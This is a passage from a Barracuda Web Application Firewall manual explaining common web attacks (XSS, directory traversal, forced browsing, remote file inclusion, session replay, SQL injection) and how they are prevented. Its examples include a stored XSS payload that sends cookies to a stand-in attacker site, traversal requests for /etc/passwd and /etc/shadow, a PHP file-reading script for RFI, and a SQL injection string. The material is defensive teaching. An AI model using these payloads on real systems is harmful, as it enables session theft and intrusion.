the user’s browser ends up executing the script.
In DOM based XSS attacks,no new script is injected into a webpage, rather an existing script’s behavior is changed in unintended ways. Typically
the change is accomplished by changing a script trusted DOM element.
Effects
Client side scripts have complete access to the DOM, and can access or modify any part thereof, including session data theft, cookie
manipulation or theft, accessing previous browsing history, etc. For example, an attacker who succeeds in exploiting XSS vulnerabilities can
hijack session data of an authenticated user. This allows an attacker to change a user password gaining access to the victim’s account/system.
Even more crucial, XSS attacks can allow the whole client system to be controlled by an attacker. Malicious scripts can silently redirect client
browsers to attacker controlled domains serving malware like browser exploit kits (for example, blackhole). These kits profile the user browsers
including type, version plugins, etc. They then foist a kitchen sink full of exploits that target known and unknown vulnerabilities, including those in
Adobe, Java and Microsoft plugins. Exploit Kits are often first to incorporate the latest threats, lacking vendor patches, and are generally available
for a few hundred dollars.
Methods
XSS injection is possible through any part of a request that is not properly sanitized before being incorporated into a subsequent response.
Typical targets include :
URL Parameters
FORM Parameters (GET and POST parameters)
Cookies
HTTP Headers
HTTP Referrer Objects
Example
Step 1:
An attacker creates an account in a social networking site with malicious JavaScript embedded in a form field of his details (example: address),
and submits the details. The details gets saved in the server.
/profileUpdate/profileid20?firstName=John&lastName=peter&address=<img+src=ImageNotFound.gif+onerror=window.
open('http://attacker_site.com/CaptureCookie.cgi?cookie='+document.cookie)>&gender=male

The attacker has injected the code (<img+src=ImageNotFound.gif+onerror=window.open('http://attacker_site.com/CaptureCookie.cgi?cookie='+d

ocument.cookie)>) in the address field to fetch the session cookie of any victim (user) who tries to view the attacker’s profile.
Step 2:
The user views the attacker’s profile. The server sends the details of the attacker’s profile to the user’s browser in the response. The response
contains the malicious JavaScript which executes in the browser and sends the session cookie to the attacker.
<html>
<head>
<title>All Form Fields</title>
</head>
<body>
<Table>
<TR> <TD>First Name:</TD> <TD>John</TD></TR>
<TR> <TD>Last Name:</TD> <TD>Peter</TD></TR>
<TR> <TD>Address:</TD> <TD><img src=ImageNotFound.gif onerror=window.open('http://attacker_site.com/Capture
Cookie.cgi?cookie='+document.cookie)></TD></TR>
<TR> <TD>Gender:</TD> <TD>Male</TD></TR>
</Table>
</body>
</html>
Prevention
Ideally, Cross-Site Scripting attacks can be prevented through secure coding that enforces proper input validation; however this is often
impractical for legacy or third party applications, or when source code is not directly available. Disabling client side scripts in user browsers is
sometimes suggested as an option, however most modern applications rely on client side scripts to operate normally, so disabling JavaScript
leads to the frustration of malfunctioning web applications. Other emerging client side security technology including Mozilla's Content Security
Policy or IE XSS Filter show future promise but are not yet foolproof.
The Barracuda Web Application Firewall immediately remediates XSS attacks. It contains comprehensive rule sets to detect plain or obfuscated
XSS attacks in incoming requests. Out-of-the-box, the default security policy defeats all XSS attacks without requiring any additional configuration
or changes to web application code. Signatures are automatically updated to cover the latest threats.
Tags
OWASP Top 10, PCI-DSS, Client Side Attacks
See Also
CWE 79, CWE 80, OWASP, WASC, Same Origin Policy

Directory Traversal Vulnerability
Description
Effects
Methods
Examples
Prevention
Tags
See Also
Description
The directory traversal/path traversal attack (also known as dot dot slash attack) is an HTTP exploit that allows an attacker to access restricted
files, directories and commands that reside outside the web server’s root directory. Directory traversal attacks are executed through web
browsers. An attacker may manipulate a URL in such way that the website will reveal the confined files on the web server.
Typically, web servers provide two security mechanisms to restrict user access:
Access Control Lists (ACLs)

Web Document Root Directory
The access control list determines which users or groups are privileged to access, modify or execute files on the web server. Users are restricted
from accessing the specific part of the file-system on the server, which is known as “root”, “web document root”, or “CGI root” directory. The
attacker uses special-character “../”sequence to escape web document root, or alternate encodings of the “../” sequence to bypass security filters
and access files or directories that reside outside the root directory. Some directory traversal attack variations include:
URL encoded characters - “..%2e%2e%2f” for forward slash character (../), “..%2e%2e%5c” for backslash character (..\).
Unicode encoding - “..%u2216” for “../” and "..%c0%af" for “..\”.
Double encoding - “..%252F” for “../” and “..%255C” for “..\”.
These techniques employ special characters such as the dot (“.”) or NULL (“%00”) character obfuscate directory traversal exploits.
A directory traversal vulnerability can exist either in web servers or web applications. Web applications that fail to validate input parameters (i.e.
form parameters, cookie values, etc.) are vulnerable to directory traversal attacks.
Effects
If a web server or web application is vulnerable to directory traversal attack, the attacker can exploit the vulnerability to reach the root directory
and access restricted files and directories. The attackers can modify critical files such as programs or libraries, download password files, expose
source code of the web application, or execute powerful commands on the web server, which can lead to complete compromise of the web
server.
Methods
The directory traversal attack occurs when the user-supplied input is not properly filtered or sanitized. The following data must be sanitized
properly before being processed:
URL Parameters
Cookies
HTTP Request Headers
Examples
If the server is vulnerable to directory traversal attack:
When a normal website visitor accesses http://www.vulnerable.com/index.html, he would be able to view the content in this page. The index.html
resides in a web directory in the server where all web pages are stored. The web user can navigate and access the pages to which user access
privileges has been defined by the administrator. In this example, the web user is allowed to access other files that are not in the “web root”
directory of the server. Hence, the server is vulnerable to directory traversal attack. If the attacker intends to access the password file which is on
the server, then the attacker would send the below request and access the sensitive information from the server.
http://www.vulnerable.com/../../../etc/passwd
If the application is vulnerable to directory traversal attack:
Consider a daily online news website (www.example.news.com) which has different sections and news articles in it. The user clicks on the first
news article, the request goes to http://www.example.news.com/news=new_page1.html, where new_page1.html content is displayed to the user.
In the same way, clicking on the second article, the URL browser shows http://www.example.news.com/news=new_page2.html.

If the user is an attacker and wants to view other files on the server, he would try to replace new_page1.html or new_page2.html with /etc/shadow
i.e. http://www.vulnerable.com/news=/etc/shadow. This may not be successful as /etc/shadow might not be residing in the same directory as of
new_page1.html. The attacker may execute different trial and error methods to find the exact way to get access to /etc/shadow. The attacker
sends the below request and retrieves the file in the server:
http://www.vulnerable.com/news=../../../../etc/shadow
With this, the attacker can steal the sensitive information about the user accounts in the server.
Prevention
To prevent directory traversal attack, it is necessary to perform proper input validation on all the entities mentioned in the Methods section above.
This includes normalizing the input data to account for obfuscations and encodings.
For applications being actively developed, such filtering and validation should be part of the SDLC and developers or testing teams should be
trained to identify and prevent such vulnerabilities.
For legacy and third party code, however, this might not be an easy thing to enforce. The Barracuda Web Application Firewall dynamically
remediates this vector by identifying and blocking directory traversal patterns across all the HTTP entities where they can occur.
Tags
See Also
CWE 22, OWASP, WASC

Forceful Browsing Attack
Description
Effects
Methods
Examples
Prevention
Tags
See Also
Description
Forceful browsing is an attack technique used to gain access to restricted pages or other sensitive resources in a web server by forcing the URL
directly. If the restricted URLs, scripts, or files that reside in the web server directory are not enforced with appropriate authorization, they can be
vulnerable to forceful browsing attacks.
Attackers typically try brute-force attempts to enumerate directories and files that are restricted from public viewing. Typically, the files/directory
paths have common naming conventions, and can therefore be easily guessed using brute-force. The brute-force attack is manually executed if
the directories/pages are based on predictable resources, or use automated tools for common files and directories. Predictable resources can
also be guessed by analyzing the HTTP response code of the web server.
Forceful browsing is also known as Forced Browsing, File Enumeration, Predictable Resource Location, and Directory Enumeration.
Effects
If a web server or a web application is vulnerable to forceful browsing attack, an attacker can access restricted files and view sensitive
information.
Methods
The attack can be done either manually or by using automated tools for common files and directory names. When done manually, an adversary
can also predict unlinked resources when URLs are generated in a predictable manner or use number rotation techniques, etc. Most commercial
and open source scanners also typically scan for predictable resources that are not directly linked but contain sensitive information.
Examples
Forceful browsing attempted on the website that did not enforce proper checks before processing any operation:
An example of forceful browsing would be to directly access a URL which would perform certain operations on the server without following the
workflow of the web application.
Consider an online money transfer option that is available on a bank website, which allows a web user to login to his account and transfer money.
If an attacker analyses these HTTP requests for the online money transfer, he might find that the URL is http://www.ABC-bank.com/transfer-mon
ey.asp?From_account=123456&To_account=7891011&amount=10000 to perform this operation. If he uses this URL and tries a different “From_
account” value, he might succeed in transferring some amount to his account without the consent of the actual account holder.
Thus, if the web application does not verify that the first step was performed successfully before the second step (i.e., check if the user was
logged in to the account before doing a money transfer to any other account), it provides an opening for the attacker to perform forceful browsing.
Forceful browsing attempted on a web server that did not enforce authorization for restricted files:
If a web server (www.vulnerable.com) has a page like admin.asp, admin.jsp or admin.php that contains sensitive information related to the server,
the page may not be accessible by the normal web user. If the attacker intends to access the admin.asp or admin.jsp page to steal sensitive
information, the attacker would try the following:
http://www.vulnerable.com/admin.asp
http://www.vulnerable.com/admin.jsp
Thus, the attacker performs forceful browsing to access sensitive pages from the server. If the proper permissions or ACLs are configured for
these pages, the attacker will not be able to access such files.
Prevention
There are two ways to protect against forceful browsing – enforcing an application URL space whitelist and using proper access control.
Creating a whitelist involves allowing explicit access to a set of URLs that are considered to be a part of the application to exercise it’s
functionality as intended. Any request not in this URL space is denied by default. However, manually creating and maintaining such a whitelist

can be tedious. The Barracuda Web Application Firewall’s adaptive profiling can be used to automatically create such a whitelist and enforce it by
learning the valid URL space from trusted traffic. It also comes with a block list of common files and directories that are commonly left exposed
unintentionally.
In the second method, using proper access control and authorization policies - access is only given to users commensurate with their privileges.
The Barracuda Web Application Firewall provides authorization policies at a URL level along with protection against session-based attacks to
provide proper access control enforcement against such abuse.
Tags
See Also
CWE 425, CPEC-87, OWASP, WASC

Remote File Inclusion Vulnerability
Description
Effects
Methods
Example
Prevention
Tags
See Also
Description
Remote File Inclusion is an attack technique that exploits the ability of certain web-based programming frameworks to dynamically execute
remote scripts. The vulnerability manifests when the name or location of the remote script is constructed using input parameters in an HTTP
request and the web application fails to validate these inputs.
Using the parameter’s value, the web server accesses a remote file, specified by a URI (for example, http://www.attacker-site.com/malicious.php)
and includes malicious code from this remote file into the currently executing context on the victim web server. The malicious script could steal
sensitive data, take over the web server or install backdoors
Remote File Inclusion attacks are mostly performed on the web applications that are built on the server-side scripting language such as PHP.
PHP programming uses “file include” extensively and hence it is more vulnerable for RFI attacks. RFI attacks are also manifested in other
environments such as JSP, ASP, etc.
Effects
If an attacker succeeds in exploiting Remote File Inclusion vulnerability in a web server or a web application, they can include a remotely hosted
malicious file and execute the code controlled by the attacker. By executing the code, the attacker can steal session cookies, sensitive data
stored on the server, manipulate the content, or control the server completely.
Ready-to-use “web shells” like C99 and R57 are freely available on the web. These are very powerful web based shells that provide a
sophisticated UI to completely control the system, including full access to OS commands and file systems, options to install backdoors or Trojans,
etc.
Methods
The Remote File Inclusion attack occurs when the user-supplied input is not properly filtered or sanitized. The following data must be sanitized
properly before being processed:
URL Parameters


Cookies
HTTP Request Headers
Example
A web user access www.exampleRFI.com and lands in the main page. The request would go to the server as: http://www.exampleRFI.com/conte
nt.php?page=menu.php
If the content.php processes the value of “page” parameter as:
<?php
.......
include( $_GET['page']);
.......
?>
According to the above PHP code, menu.php is executed in the server and displayed in content.php in the browser.
If the attacker was able to glean how content.php works, he could try to include a malicious script to be executed instead of menu.php to steal
any server information.
As an example, following is a script that the attacker could host to read the password file on UNIX-based systems. (malicious.php which resides
in www.attacker-site.com)
<?php
$filename = "/etc/passwd";
$fh = fopen($filename, 'r');
$read_content = fread($fh, 1000);
fclose($fh);
echo $read_content;
?>
This script is intended to read the content of the password file (/etc/passwd).
The attacker would then tamper the page parameter to point to his remotely hosted malicious script:
http://www.xyz.com/content.php?page=http://www.attacker-site.com/malicious.php
This could display the user account information that is stored in the /etc/passwd file of the server.
Prevention
Properly sanitizing and filtering the user input can prevent remote File Inclusion attacks. Vulnerability scanning and code audits could help identify
such vulnerabilities but legacy and third party code could be a challenge. Scanning also does not remediate, so the fixes have to be implemented
manually. This could be a challenge when the interfaces are tightly wound into the code.
The Barracuda Web Application Firewall’s default security policy includes rule sets to identify and block RFI attacks out-of-the-box. It logs all
instances of such attacks in the Web Firewall Logs along with exact details of the targeted parameter and the malicious values used for the
exploit. Alerts and notifications can be setup for such attacks as well.
Tags
See Also
CWE 98, OWASP, WASC

Session Replay Attack
Description
Effects
Method
Example
Prevention
Description
Session Replay attack occurs when an attacker steals a valid session ID of a user, and reuses it to impersonate as an authorized user to perform
fraudulent transactions/activities. A user becomes a victim of session replay attack when session ID’s have no session expiration time set, or the
session data is stored in unencrypted form. Web applications that allow reusing old session ID’s or session credentials for authorization are
vulnerable to session replay attack.
A session ID is a unique number assigned to identify a user accessing a web application. The session ID can be in the form of cookies or IDs in
the parameter values. Once the user is authorized to access a web application, a session ID is created for that user. The session IDs
confidentiality should be maintained so that other users or attackers do not use it to access the same account. Some web applications allow
replaying (reusing) the old session ID to access the resources, without re-authenticating the user. If the session ID is stolen, the attacker uses it
to masquerade as an authorized user.
Effects
If the session ID is stolen, the attacker can:
Use the session ID to keep track of the users.

View the user’s account details.
View the user’s account and perform fraudulent transaction/activity.
Method
The following parameters should be sanitized properly before processing the request:
Cookies
URLs
Form Parameters (GET and POST method)
Example
Web applications using session ID as parameter in the request:
For example, if a web application maintains a session of the user based on the parameter in the request, then the attacker can append any value
to that parameter and make a valid user to login. Once the user starts the session with appended value, the attacker gains access to the web
application.
If the web application uses the SESSIONID parameter in the URL, i.e. http://vulnerable.com/home/show.php?SESSIONID=MYSESSION , in this
the SESSIONID value is MYSESSION and if the user logs in with his credentials, then a SESSION called MYSESSION is started.
If the attacker makes a valid user to click on a URL like: http://vulnerable.com/home/show.php?SESSIONID=ATTACKER-SESSION , the valid
user would be asked to provide credentials. If the user enters the credentials and logs in, then a session called ATTACKER-SESSION will be
started by the server to the valid user. Now, the attacker can directly access the session of that user with just the URL http://vulnerable.com/hom
e/show.php?SESSIONID=ATTACKER-SESSION .
Prevention
To mitigate session replay attacks,
A web application should invalidate a session after it exceeds the predefined idle timeout, and after the user logs out.
Set the lifespan for the session to be as short as possible.
Encrypt the session data.
You can prevent the session replay attacks by configuring Session Timeout for web applications and cookie security on the Barracuda Web

SQL Injection Attack
Description
Effects
Methods
Example
Prevention
Tags
See Also
Description
SQL injection attacks take advantage of dynamically created SQL queries which use inadequately sanitized user input from web-based requests.
By embedding SQL commands in user inputs, attackers can indirectly manipulate an SQL query issued by the web application to a database.
Attackers can determine if an application is vulnerable, and can view, modify or delete application data by manipulating SQL queries dynamically.
SQL injection attacks are simple to understand and attempt, and allow access to sensitive or even critical application data, making them attractive
to attackers..
Effects
Successful attacks compromise sensitive application data, can manipulate or delete the SQL database, can deface websites, can open reverse
shells, or may even access the underlying OS. Injection attacks can be combined with XSS attacks.
Successful blind SQL injection attacks merely detect a variation in behavior, whether timing or response, based on an attempted injection to
determine whether an application is vulnerable to SQL injection attacks.
Readily available off-the-shelf free tools (e.g., Havij, splmap) allow novice users to successfully execute injection attacks. In addition, highly
sophisticated tools exist which intensely probe applications for obscure vulnerabilities.
Methods
The following input data can contain SQL injection attacks:
URL Parameters Name or Value

FORM parameters Name or Value
Request Headers
Cookies
Example
An attacker guesses that a web application uses the following SQL query to retrieve account details:
select accnt-detail from acct-master WHERE accnt=accntNumber
If accntNumber is a user input from an HTTP request, an attacker could make it:
5672' OR 'a'='a
and the resulting query would be
select accnt-detail from acct-master WHERE accnt='5672' OR 'a'='a'
Since the above query always evaluates to true, every database row matches ('a'='a' is always TRUE) and the resulting query returns all
accnt-detail entries from the database.
For SQL databases which allow semi-colon separated SQL commands to immediately execute, input data containing arbitrary SQL commands
could execute.
Prevention
SQL injection can be prevented by secure coding, either by using prepared (parametrized) statements, or by properly escaping and sanitizing
inputs. Either method can prevent input data which contains commands from executing. When using legacy or third party code, or for tightly
coupled interfaces where sanitizing inputs may not be possible, you can rely on Barracuda Web Application Firewall rule sets to inspect and block
SQL injection across all input vectors. Inputs are first normalized to defeat obfuscation, such as encoding techniques (e.g. UTF8) or SQL specific
techniques (e.g. embedded SQL comments to obfuscate the actual SQL query).
Tags

See Also
CWE 89, OWASP, WASC

Barracuda Web Application Firewall 使用手冊

Uploaded by

Document Information

Original Description:

Copyright

Available Formats

Share this document

Share or Embed Document

Sharing Options

Did you find this document useful?

Is this content inappropriate?

Copyright:

Available Formats

Barracuda Web Application Firewall 使用手冊

Uploaded by

Copyright:

Available Formats

1. Barracuda Web Application Firewall - Overview . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

Barracuda Web Application Firewall - Overview

Copyright © 2015, Barracuda Networks Inc.

What's New in the Barracuda Web Application Firewall

What's New in Version 8.1

What's New in Version 8.0.1

Copyright © 2015, Barracuda Networks Inc.

What's New in Version 8.0

What's New in Version 7.9.1

What's New in Version 7.9

What's New in Version 7.8

Copyright © 2015, Barracuda Networks Inc.

Logging and Reporting

What's New in Version 7.7

Copyright © 2015, Barracuda Networks Inc.

Integration with Cenzic for vulnerability patch management.

Logging and reporting enhancements

Copyright © 2015, Barracuda Networks Inc.

Release Notes Version 8.1

Please Read Before Updating

Fixes and Enhancements in 8.1

Copyright © 2015, Barracuda Networks Inc.

Logging and Reporting

Copyright © 2015, Barracuda Networks Inc.

REST API Enhancements and Fixes

Copyright © 2015, Barracuda Networks Inc.

Release Notes Version 8.0.1

Please Read Before Updating

Fixes and Enhancements in 8.0.1

Logging and Reporting

This appliance contains one or more of the following patents:

Copyright © 2015, Barracuda Networks Inc.

9,021,017 8,559,450 8,559,450 7,861,300 7,093,287

Copyright © 2015, Barracuda Networks Inc.

Release Notes Version 8.0

Please Read Before Updating

Fixes and Enhancements in 8.0

Copyright © 2015, Barracuda Networks Inc.

POST requests, has been fixed now. [BNWF-18576]

Logging and Reporting

Copyright © 2015, Barracuda Networks Inc.

Copyright © 2015, Barracuda Networks Inc.

Copyright © 2015, Barracuda Networks Inc.

Release Notes Version 7.9.2

Please Read Before Updating

Fixes and Enhancements in 7.9.2

Copyright © 2015, Barracuda Networks Inc.

Release Notes Version 7.9.1

Please Read Before Updating

Fixes and Enhancements in 7.9.1

Copyright © 2015, Barracuda Networks Inc.

Logging and Reporting

Fix: Scheduled FTP backups now work correctly. [BNWF-18371]

Copyright © 2015, Barracuda Networks Inc.

Copyright © 2015, Barracuda Networks Inc.

Release Notes Version 7.9

Please Read Before Updating

Fixes and Enhancements in 7.9

Copyright © 2015, Barracuda Networks Inc.

Logging and Reporting

Copyright © 2015, Barracuda Networks Inc.

Copyright © 2015, Barracuda Networks Inc.

Fix: Saved backups can be deleted from the Cloud. [BNWF-17599]